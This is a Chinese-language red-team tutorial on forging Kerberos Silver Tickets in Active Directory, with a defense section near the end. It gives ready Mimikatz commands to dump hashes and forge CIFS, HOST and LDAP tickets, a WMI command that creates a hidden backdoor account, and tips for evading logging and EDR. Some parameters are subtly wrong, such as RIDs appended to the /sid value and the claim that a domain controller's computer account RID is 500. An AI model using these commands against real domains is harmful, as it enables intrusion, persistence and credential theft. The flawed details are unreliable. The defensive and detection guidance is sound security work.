白银票据攻击实战:Kerberos协议下的内网横向渗透与防御

1. 项目概述:从“黄金”到“白银”的战术演进

在Active Directory(AD)域环境中,Kerberos协议是身份验证的基石,而票据(Ticket)则是这个协议中的核心通行证。很多朋友都听说过“黄金票据”(Golden Ticket)的大名,它通过伪造域内最高权限的KRBTGT账户票据,几乎能实现“为所欲为”。但今天我们要聊的,是它的“兄弟”——“白银票据”(Silver Ticket)。如果说黄金票据是伪造了国王的玉玺,可以签发任何命令,那么白银票据更像是伪造了某个特定大臣的官印,虽然权限范围有限,但胜在制作简单、无需与域控制器(DC)交互,且极难被传统防御手段检测。这个项目,就是围绕如何利用白银票据,在渗透测试中突破内网访问限制展开的。

为什么白银票据在实战中如此重要?因为在真实的攻防对抗里,拿到域管理员权限(相当于拿到“玉玺”)往往是一个漫长且高风险的过程。更多的时候,我们通过一个普通域用户的权限进入内网,或者通过其他漏洞拿到了某台服务器的本地管理员权限。此时,我们的目标可能很具体:比如,想访问那台只有特定服务账户才能访问的文件服务器上的财务数据,或者想控制那台运行着关键业务应用的Web服务器。直接提权到域管可能动静太大,而白银票据提供了一种更隐蔽、更精准的“外科手术式”攻击路径。它不追求全局统治,而是针对特定服务(如CIFS文件共享、HTTP Web服务、MSSQL数据库等)进行权限伪造,直接达成战术目标。

本篇文章,我将结合多年一线红队评估的经验,为你拆解白银票据的核心原理,并重点分享三种最具代表性的实战场景。这些场景覆盖了从信息收集到横向移动,再到权限维持的关键环节。无论你是刚开始接触内网渗透的安全爱好者,还是希望提升防御深度的蓝队成员,理解这些攻击手法及其背后的Kerberos协议细节,都至关重要。我们会从“为什么能这么做”讲起,再到“具体怎么做”,最后分享“怎么防”以及我在实操中踩过的那些坑。让我们暂时抛开那些复杂的协议流程图,用更直白的方式,进入白银票据的实战世界。

2. 白银票据核心原理与前置条件解析

在动手之前,我们必须彻底搞清楚白银票据到底是什么,以及它生效需要哪些“原料”。知其然更要知其所以然,这能帮助我们在复杂的实战环境中灵活变通,而不是死记硬背命令。

2.1 Kerberos服务票据(ST)与白银票据的本质

简单回顾一下Kerberos认证中,一个用户访问一个服务(如\fileserver\share)的基本流程:

  1. 用户向DC请求票据授予票据(TGT)。
  2. 用户使用TGT向DC请求访问特定服务的服务票据(ST)。
  3. 用户将ST发送给目标服务,服务验证ST后授予访问权限。

服务票据(ST)的核心部分,是由DC使用服务账户的密码哈希(NTLM Hash)进行加密的。服务在收到ST后,会用自己知道的密码哈希去解密它。如果能成功解密,并且票据内的信息(如用户、时间戳等)有效,服务就认为这个票据是合法的DC颁发的,从而允许访问。

白银票据攻击的精髓就在于此:攻击者不需要与DC进行任何交互。我们直接跳过了向DC请求ST的步骤。如果我们能获取到目标服务账户的密码哈希,我们就可以自己伪造一张ST。因为加密和解密的密钥(即密码哈希)我们都有了,所以我们可以构造一个完全合法的ST,直接发送给服务。服务用自己的哈希成功解密后,就会信任这张票据。

这与黄金票据的关键区别在于:

  • 黄金票据:伪造TGT,需要KRBTGT账户的哈希,可以访问任何服务。
  • 白银票据:伪造特定服务的ST,需要该服务账户的哈希,只能访问该特定服务。

2.2 制作白银票据的“原料清单”

要成功伪造一张白银票据,你需要收集以下几项关键信息。在实战中,获取这些信息本身就是渗透测试的重要环节。

  1. 目标域名(Domain):这个很简单,就是当前AD域的域名,例如testlab.local
  2. 目标服务账户的SID(Security Identifier):这是标识域用户或计算机账户的唯一ID。对于服务票据,我们通常使用计算机账户的SID,因为很多服务(如CIFS, HOST)运行在计算机账户上下文中。计算机账户的SID格式为:域SID+-+计算机账户的RID。域SID可以通过whoami /user命令查看当前用户的SID并去掉末尾的RID部分获得,或者通过Get-ADDomain等命令查询。
  3. 目标服务账户的NTLM Hash:这是最核心、最难获取的一环。没有它,一切无从谈起。这个哈希是服务用来解密ST的密钥。对于计算机账户,其密码是定期自动更改的,但如果我们能在某个时刻获取到它(例如通过内存dump工具如Mimikatz从lsass进程中提取,或者通过域控漏洞获取),就可以用它来伪造票据。
  4. 要伪造的用户名(Username):你可以伪造任何域用户,甚至是不存在的用户。通常,为了隐蔽和权限最大化,我们会伪造域管理员组成员(如Administrator)或高权限服务账户。注意,这里伪造的用户名只在票据中存在,并不会在DC的日志中产生对应的TGT请求记录,这是其隐蔽性的来源之一。
  5. 要访问的服务类型(Service):这决定了票据的用途。不同的服务对应不同的SPN(Service Principal Name)。常见的有:
    • cifs:用于文件共享访问(如\\server\share)。
    • host:用于远程服务管理(如WMI, WinRM)。
    • http:用于访问Web应用(如IIS站点)。
    • mssql:用于访问SQL Server数据库。
    • ldap:用于查询域控LDAP服务。
  6. 目标服务器的主机名(Target SPN):即服务运行在哪台服务器上,例如dc01.testlab.local

重要提示:获取服务账户哈希的行为通常需要已具备一定的权限(如本地管理员权限)。因此,白银票据攻击常发生在已经初步立足(获得一台域内主机权限)之后的横向移动或权限提升阶段。

2.3 工具选型:为什么是Mimikatz?

在Windows环境下,制作和注入票据的首选工具无疑是Mimikatz。它几乎成为了内网渗透的“瑞士军刀”。其kerberos::golden模块同样可以用于生成白银票据。选择它的理由很充分:

  • 功能强大且稳定:经过多年实战检验,其票据生成和注入功能非常可靠。
  • 内存操作:生成的票据可以直接注入到当前会话的内存中,无需落地文件,减少了被终端安全软件检测的风险。
  • 灵活性高:支持几乎所有参数的自定义,包括票据有效期、加密类型等。

当然,除了Mimikatz,也有像impacket套件中的ticketer.py这样的跨平台工具,可以在Linux上生成票据文件,然后再传递到Windows主机使用。但在典型的Windows内网环境中,Mimikatz的集成度和便捷性更高。在后面的实战中,我们将以Mimikatz为例进行演示。

3. 实战场景一:伪造CIFS票据,无痕访问文件服务器

这是最经典、需求最普遍的白银票据应用场景。假设我们在渗透测试中,通过钓鱼等方式拿下了市场部某位同事的笔记本电脑(已加入域),获得了本地管理员权限。我们发现内网有一台文件服务器FS01,上面存放着公司重要的项目资料。普通域用户只能访问公共区,而“项目资料”文件夹只有FS01$计算机账户和少数几个管理账户有写权限。我们的目标是悄无声息地访问并下载这些资料。

3.1 场景分析与信息收集

首先,我们需要为伪造票据收集“原料”。

  1. 获取当前域信息:在已控制的主机上打开命令提示符。

    # 查看当前域名和用户 echo %userdomain% net config workstation # 更详细的信息可以使用PowerShell Get-ADDomain | select Name, DomainSID

    假设我们得知域名为corp.com

  2. 定位目标并获取其SID:我们需要文件服务器FS01的计算机账户SID。

    # 使用PowerShell ActiveDirectory模块查询 Get-ADComputer FS01 -Properties SID

    如果该模块不可用,可以通过网络查询或利用已知信息拼接。计算机账户的SID通常是域SID+-+计算机账户的RID。我们可以先获取域SID(例如S-1-5-21-1602875587-2789445558-1801674531),然后通过枚举或猜测(计算机账户RID通常从1000开始顺序分配)来确定FS01的RID。更准确的方法是,如果我们有另一个域账户,可以尝试用PowerView等工具进行远程查询。

  3. 获取服务账户NTLM Hash(关键步骤):这是最具挑战的一步。在这个场景中,我们需要FS01$计算机账户的哈希。有几种可能的方法:

    • 本地提权后Dump内存:如果我们能物理接触FS01或者通过其他漏洞获得其本地管理员权限,可以在其上运行Mimikatz的sekurlsa::logonpasswords命令,直接从lsass进程中提取FS01$的哈希。
    • 域控攻击:如果获得了域控权限,可以从NTDS.dit数据库中导出所有哈希,其中就包含所有计算机账户的哈希。
    • 其他漏洞利用:如MS14-068、Zerologon等历史漏洞,可能直接或间接导致计算机账户哈希泄露。(假设在此次测试中,我们通过之前对另一台服务器的攻击,已经拿到了一个包含FS01$哈希的数据库,其NTLM Hash为:4d6e435c6a556e576e327a314c774a51

3.2 票据伪造与注入实战

现在,原料齐备。我们在已控制的电脑上以管理员权限运行Mimikatz。

# 使用Mimikatz生成并注入CIFS服务的白银票据 kerberos::golden /domain:corp.com /sid:S-1-5-21-1602875587-2789445558-1801674531-1105 /target:FS01.corp.com /service:cifs /rc4:4d6e435c6a556e576e327a314c774a51 /user:Administrator /ptt

参数详解:

  • /domain: 目标域名。
  • /sid: 目标服务账户(FS01计算机账户)的完整SID。这里-1105就是它的RID。
  • /target: 目标服务器的全限定主机名(FQDN)。
  • /service: 服务类型,这里是cifs
  • /rc4: 目标服务账户的NTLM Hash(RC4加密类型对应NTLM Hash)。如果域环境使用了AES加密,则需要使用/aes128/aes256参数提供对应的AES Key。
  • /user: 要伪造的用户名,这里我们伪造域管理员Administrator
  • /ptt: “Pass The Ticket”的缩写,表示生成票据后直接注入到当前会话的内存中。

执行成功后,Mimikatz会输出票据信息,并提示“Golden ticket for ‘Administrator @ corp.com’ successfully submitted for current session”。此时,伪造的票据已经加载到当前会话的Kerberos缓存中。

3.3 验证与利用

现在,我们可以直接访问之前无权访问的文件共享了,无需输入任何密码。

# 列出文件服务器共享目录 dir \\FS01.corp.com\项目资料\ # 或者使用net use建立驱动器映射(同样不需要密码) net use Z: \\FS01.corp.com\项目资料\

你会发现,操作畅通无阻,就像你是真正的域管理员一样。而且,由于整个过程中没有与域控制器(DC)发生任何交互,在DC的安全日志(如4769事件:请求了Kerberos服务票据)中,不会留下我们伪造的这个Administrator用户请求访问FS01的CIFS服务记录。这极大地增强了隐蔽性。

实操心得:使用/ptt注入内存的票据只在当前会话有效。如果关闭了Mimikatz运行的命令行窗口,票据就会失效。对于需要持久化访问的场景,可以使用/ticket参数将票据导出为.kirbi文件,然后在需要时使用kerberos::ptt ticket.kirbi命令再次注入。另外,注意观察目标服务的加密方式,现代Windows Server默认可能更倾向于使用AES,如果仅提供NTLM Hash(RC4)而服务要求AES,票据可能会失效。最稳妥的方式是同时获取NTLM Hash和AES Key。

4. 实战场景二:伪造HOST票据,实现远程命令执行与横向移动

访问文件只是第一步,我们往往需要获得服务器的命令执行权限,以便进一步横向移动或部署后门。HOST SPN涵盖了服务器上许多管理功能,如WMI(Windows Management Instrumentation)和WinRM(Windows Remote Management)。伪造HOST服务的白银票据,可以让我们远程执行命令。

4.1 场景设定与目标选择

假设在上一场景后,我们还想进一步控制开发团队的一台重要服务器DEVSRV01。我们知道这台服务器开启了WMI或WinRM进行远程管理。同样,我们通过某种方式(例如,从已控的域管机器内存中,或者利用漏洞)获取了DEVSRV01$计算机账户的NTLM Hash:8f9d5e5e5c8f7a6d5b4a3c2b1a098776

我们的目标是:在不触发可疑告警的情况下,远程在DEVSRV01上执行系统命令,例如添加一个隐藏的后门账户。

4.2 生成HOST服务票据

在攻击机上,再次使用Mimikatz生成针对HOST服务的票据。这里我们伪造一个属于“Domain Admins”组的用户sqladmin(一个可能存在的、拥有较高权限的服务账户,更不易引起怀疑)。

kerberos::golden /domain:corp.com /sid:S-1-5-21-1602875587-2789445558-1801674531-1201 /target:DEVSRV01.corp.com /service:host /rc4:8f9d5e5e5c8f7a6d5b4a3c2b1a098776 /user:sqladmin /ptt

注意,/service参数变为了host/target/sid也相应改为目标服务器DEVSRV01的信息。

4.3 利用票据进行远程命令执行

票据注入后,我们就可以使用依赖Kerberos认证的远程管理工具了。

方法一:使用WMI执行命令WMI默认使用Kerberos认证。我们可以使用PowerShell的Invoke-WmiMethodGet-WmiObject

# 使用注入票据的会话启动PowerShell # 然后执行远程命令,例如创建用户 Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList “net user backdooruser P@ssw0rd! /add” -ComputerName DEVSRV01.corp.com -Credential (New-Object System.Management.Automation.PSCredential(“corp.com\sqladmin”, (ConvertTo-SecureString “dummy” -AsPlainText -Force)))

这里需要提供一个PSCredential对象,但密码是假的,因为实际认证依靠的是内存中的Kerberos票据,而不是密码。命令会在DEVSRV01上以系统权限执行。

方法二:使用WinRM(PowerShell Remoting)如果目标服务器启用了WinRM(通常5985端口),我们可以直接建立远程会话。

# 建立远程PSSession $sess = New-PSSession -ComputerName DEVSRV01.corp.com -Authentication Kerberos -Credential (Get-Credential corp.com\sqladmin) # 在弹出的窗口中输入任意密码即可 Enter-PSSession $sess # 现在你就在DEVSRV01的命令行下了,可以执行任何操作 whoami hostname

同样,认证过程由Kerberos票据完成,输入的密码不起作用。

4.4 隐蔽性分析与防御视角

这种方式的隐蔽性在于:

  1. 无网络认证流量指向DC:所有认证在客户端和服务端之间通过票据完成,DC不参与此次服务请求的验证。
  2. 日志位于目标服务器:DEVSRV01的安全日志中,会记录sqladmin账户的登录和操作事件。如果sqladmin本身就是一个合法的管理账户,这些日志看起来就很正常。蓝队如果仅监控DC的Kerberos事件,很容易遗漏。

踩坑记录:在实际测试中,我曾遇到WinRM连接失败的情况,错误提示“WinRM客户端无法处理该请求”。除了检查网络和WinRM服务状态外,一个常见原因是票据中的SPN不匹配。host服务是一个通用SPN,但有些严格的配置或第三方工具可能要求更具体的SPN,如HOST/DEVSRV01HOST/DEVSRV01.corp.com。在kerberos::golden命令中,/target参数实际上就指定了SPN的主机部分。确保这里的值与你要连接的目标完全一致。有时,尝试使用http服务票据(对应5985端口的WinRM)也可能成功,命令中/service改为http/target改为DEVSRV01.corp.com:5985

5. 实战场景三:伪造LDAP票据,从域控直接提取数据

这是白银票据攻击中权限极高的一种应用。LDAP服务运行在域控制器上,用于查询和修改AD目录中的数据。如果我们能伪造访问域控LDAP服务的票据,就意味着我们可以直接向域控发起查询,甚至可能进行修改(取决于伪造用户的权限)。

5.1 高风险场景与必要条件

警告:此操作风险极高,极易触发告警。因为直接对域控的LDAP进行大量或敏感查询,本身就是异常行为。仅在渗透测试的后期,需要快速收集关键信息(如所有域管理员列表、敏感组关系)时酌情使用。

这个场景需要两个关键条件:

  1. 目标服务是域控制器本身,例如DC01.corp.com
  2. 需要域控制器计算机账户DC01$)的NTLM Hash。这通常意味着你已经通过某种方式严重危害了域控的安全(例如,利用漏洞获取了内存中的哈希,或已经拿到了域控的本地管理员权限并进行了dump)。

5.2 伪造LDAP票据并执行域查询

假设我们已获得DC01$的哈希:a1b2c3d4e5f67890123456789abcdef0。现在,我们伪造一个域管理员用户admin的票据,访问DC01的LDAP服务。

kerberos::golden /domain:corp.com /sid:S-1-5-21-1602875587-2789445558-1801674531-500 /target:DC01.corp.com /service:ldap /rc4:a1b2c3d4e5f67890123456789abcdef0 /user:admin /ptt

注意,这里/sid是域控制器计算机账户的SID(RID通常是500,但并非绝对,需确认)。/serviceldap

5.3 利用票据进行隐蔽信息收集

票据注入后,我们可以使用LDAP查询工具,而无需提供真实的密码。例如,使用PowerShell的ActiveDirectory模块:

# 导入模块 Import-Module ActiveDirectory # 此时执行查询,认证会自动使用内存中的Kerberos票据 Get-ADUser -Filter * -Properties * | select SamAccountName, DistinguishedName Get-ADGroupMember “Domain Admins”

或者使用更轻量的命令行工具ldp.exe,在连接时选择“使用当前登录凭据”即可。

由于票据是伪造的,这些查询请求会直接发送给域控DC01,并由其LDAP服务处理。在DC的安全日志中,你会看到admin用户发起的LDAP查询记录,但在Kerberos事件日志中,找不到对应的TGT请求或ST颁发记录。这种“脱节”对于有经验的蓝队分析师来说是一个危险信号。

5.4 扩展利用与深度隐蔽思考

除了查询,如果伪造的用户拥有足够权限(如域管理员),理论上甚至可以修改AD对象属性。例如,修改某个用户的msDS-AllowedToActOnBehalfOfOtherIdentity属性来配置基于资源的约束委派(RBCD)攻击,或者直接修改用户的密码。但这会产生大量明显的修改日志,极容易被发现。

深度隐蔽技巧:为了尽可能降低噪音,在伪造LDAP票据时,可以尝试:

  • 伪造一个合法的、但不常被使用的服务账户,而不是高亮的Administrator
  • 将票据导出为文件(使用/ticket:ldap.kirbi),然后在另一台受控的、网络位置不同的机器上注入并使用。这可以混淆攻击来源。
  • 控制查询的频率和数量,避免短时间内进行全量数据拉取,模仿正常的管理员行为模式。

核心要点:LDAP白银票据攻击是“双刃剑”。它提供了强大的信息收集能力,但同时也因为直接触碰域控而风险巨大。在真实的红队评估中,这通常是收网阶段为了快速达成特定目标(如获取关键人员列表)而使用的战术,而非常规横向移动手段。蓝队应重点监控域控上的LDAP活动,尤其是来自非管理终端、使用非常用账户的敏感查询操作。

6. 防御、检测与溯源实战指南

了解了攻击手法,防守方该如何应对?白银票据攻击的防御是一个多层次的工作,核心在于打破其依赖的前提条件建立有效的检测机制

6.1 防御措施:增加攻击成本

  1. 保护密码哈希(最根本的防御):

    • 实施凭证保护(Credential Guard):对于Windows 10/Server 2016及以上版本,启用Credential Guard可以虚拟化安全子系统,防止Mimikatz等工具从lsass进程中直接提取明文密码、哈希和票据。这极大地增加了攻击者获取服务账户哈希的难度。
    • 限制本地管理员权限:实施最小权限原则,减少拥有本地管理员权限的账户数量。攻击者往往需要本地管理员权限才能运行哈希dump工具。
    • 使用组管理服务账户(gMSA)或虚拟账户:对于服务,尽可能使用gMSA。这些账户的密码由AD自动管理,非常长且定期轮换,管理员通常不知道其密码,更难被窃取。虚拟账户(如NT SERVICE\)也不在AD中存储密码哈希。
    • 防范横向移动:及时修补诸如Zerologon (CVE-2020-1472) 等可直接危害计算机账户的严重漏洞。
  2. 强化Kerberos协议安全:

    • 启用AES加密:在AD域中,强制使用AES进行Kerberos加密,并禁用较弱的RC4加密类型(对应NTLM Hash)。白银票据如果使用RC4哈希伪造,而服务要求AES,票据将失效。可以通过组策略计算机配置 -> 策略 -> 安全设置 -> 本地策略 -> 安全选项 -> 网络安全: 配置Kerberos允许的加密类型来设置。
    • 启用Kerberos Armoring(FAST):在受支持的环境(Windows Server 2012 R2及以上域功能级别)中,这可以提供额外的保护。

6.2 检测机制:发现异常活动

由于白银票据不与DC交互,检测重点应放在目标服务网络流量上。

  1. 服务端日志分析(关键):

    • Windows安全日志(事件ID 4624、4634):在目标服务器(如文件服务器、Web服务器)上,仔细分析登录日志。关注:
      • 登录类型(Logon Type):Kerberos服务票据认证对应的登录类型是3(网络登录)。大量来自非常用客户端的类型3登录值得关注。
      • 账户名与源地址:检查是否有高权限账户(如域管)从非管理员的办公电脑IP地址登录文件服务器。或者,一个平时只从特定跳板机登录的服务账户,突然从员工终端登录。
      • 登录时间:在非工作时间发生的管理员登录。
    • 服务特定日志:如IIS日志、SQL Server审计日志等,查看访问记录是否与账户的正常行为模式相符。
  2. 网络流量监控:

    • Kerberos票据特征:白银票据是伪造的ST,它没有对应的TGT。在流量中,你会看到客户端直接向服务发送了AP-REQ(包含ST),但在此之前没有向KDC发送TGS-REQ请求。这种“孤立”的服务票据请求是白银票据的典型网络特征。安全设备或SIEM可以通过关联分析进行检测。
    • 加密类型:如果域内已禁用RC4,但监控到仍在使用的RC4加密的Kerberos票据,这是一个强烈的异常信号。
  3. 终端行为监控:

    • 监控进程行为,如可疑的Mimikatz或其变种工具的执行。
    • 监控对lsass进程的非法内存访问。

6.3 溯源与响应

一旦检测到疑似白银票据攻击,应急响应流程应包括:

  1. 立即隔离受影响主机:断开疑似被攻击的服务器的网络,防止进一步扩散。
  2. 收集证据:提取目标服务器上的安全日志、内存镜像(用于查找注入的票据)、进程列表等。
  3. 重置密码:立即重置疑似泄露的服务账户(特别是计算机账户)的密码。计算机账户密码重置后,所有基于旧哈希伪造的白银票据将立即失效。
  4. 全面排查:以被攻击的服务器为起点,排查攻击者可能进行的横向移动路径,检查其他服务器是否也存在异常登录或后门。

7. 常见问题、排查技巧与高级绕过实录

在实际操作中,你肯定会遇到各种问题。下面是我在多次测试中积累的一些常见问题排查方法和高级技巧。

7.1 票据注入成功但访问被拒绝

这是最常见的问题。可能的原因和排查步骤:

  1. 服务类型(SPN)不匹配:

    • 症状:ping通目标,但访问共享或连接服务时提示“拒绝访问”。
    • 排查:仔细检查你要访问的服务对应的SPN。例如,访问Web服务可能要用http而非host;访问特定端口的服务可能需要完整的SPN,如HTTP/webapp.corp.com:8080。使用setspn -L命令查询目标服务器注册的所有SPN。
    • 解决:kerberos::golden命令中,确保/service参数与目标服务实际使用的SPN严格匹配。
  2. 加密类型不匹配:

    • 症状:票据注入后,连接时出现加密相关错误。
    • 排查:检查域和服务器支持的Kerberos加密类型。在DC上,Get-ADObject -Identity “CN=DomainName,CN=System,DC=corp,DC=com” -Partition “DC=corp,DC=com” -Properties “msDS-SupportedEncryptionTypes”。在客户端或服务器端,查看事件查看器中的Kerberos调试日志(需启用)。
    • 解决:如果服务要求AES加密,而你只提供了NTLM Hash(RC4),票据会失败。你需要获取服务账户的AES密钥(128位或256位)。在Mimikatz中,使用/aes128:/aes256:参数代替/rc4:
  3. 时间偏差问题:

    • 症状:票据看似有效,但连接失败,可能提示“时钟偏差太大”。
    • 原理:Kerberos协议对时间同步要求严格(默认允许5分钟偏差)。伪造票据时,其时间戳是基于攻击者系统时间的。
    • 解决:确保攻击者机器的系统时间与目标域的时间同步。可以使用net time \\dc01.corp.com /set /y命令进行同步。
  4. 用户权限不足:

    • 症状:票据有效,能通过认证,但执行操作时被拒绝。
    • 原理:白银票据只解决了“身份认证”问题,即“你是谁”。而“授权”(你能做什么)是由目标服务器上的本地安全策略或文件系统ACL决定的。如果你伪造的用户(如一个普通的域用户)在目标服务器上没有相应权限,访问仍会被拒绝。
    • 解决:伪造一个在目标资源上拥有足够权限的用户,如域管理员、目标服务器的本地管理员组成员等。

7.2 如何获取服务账户的AES密钥?

在较新的、配置了Credential Guard的环境中,获取NTLM Hash可能变难,但AES密钥同样存储在lsass进程中。使用Mimikatz的sekurlsa::ekeys命令可以提取缓存的Kerberos加密密钥,其中就包含AES密钥。

mimikatz # sekurlsa::ekeys

在输出中,找到目标服务账户(如DC01$),记录其aes256_hmacaes128_hmac的值。然后在生成票据时使用/aes256:参数。

7.3 票据的持久化与传递

  • 导出票据文件:使用/ticket:silver_cifs.kirbi参数,票据会被保存到文件,而不是注入内存。之后可以在任何机器上使用kerberos::ptt silver_cifs.kirbi注入。
  • 票据传递(Pass The Ticket, PTT):这就是我们一直在做的。将票据注入内存,供当前会话使用。
  • Over-Pass The Hash:这是一种混合技术。如果你有服务账户的NTLM Hash,你可以用它来请求一个该账户的合法TGT(通过sekurlsa::pth),然后用这个TGT去请求你需要的任何服务票据(ST)。这比白银票据更灵活(可以访问多种服务),但需要与DC交互一次,会留下日志。白银票据是完全不与DC交互的“离线”攻击。

7.4 针对EDR/AV的绕过思路

现代终端检测与响应(EDR)产品会监控Mimikatz等工具的行为。

  • 使用免杀加载器或内存加载:使用自定义的加载器将Mimikatz反射加载到内存中,避免文件落地扫描。
  • 使用替代工具:使用用其他语言(如C#、Go)重写的、功能类似的工具,如RubeusSharpKatz等,这些工具可能特征码不同。
  • 手工构造票据(高级):对于顶尖红队,可以完全理解Kerberos票据结构,使用Python等语言编写脚本,直接生成.kirbi文件,完全绕过对特定工具的依赖和检测。
  • 利用合法管理工具:有些EDR对klist(查看票据)、kerberos::ptt(如果通过其他方式获得票据文件)等操作监控较弱。可以先在隔离环境生成票据文件,然后通过kerberos::ptt加载,整个过程可能不触发警报。

白银票据攻击是内网渗透测试中一项极具威力的中级技术。它完美诠释了“权限提升”不一定非要拿到域管理员,精准打击往往更高效隐蔽。对于防御者而言,理解其原理和特征,构建以“凭证保护”为核心,结合服务端日志分析和网络流量异常的纵深防御体系,是应对此类攻击的关键。攻防的本质是知识的对抗,希望这篇近万字的深度解析,能为你无论是作为攻击方还是防守方,都提供扎实的实践参考和思考维度。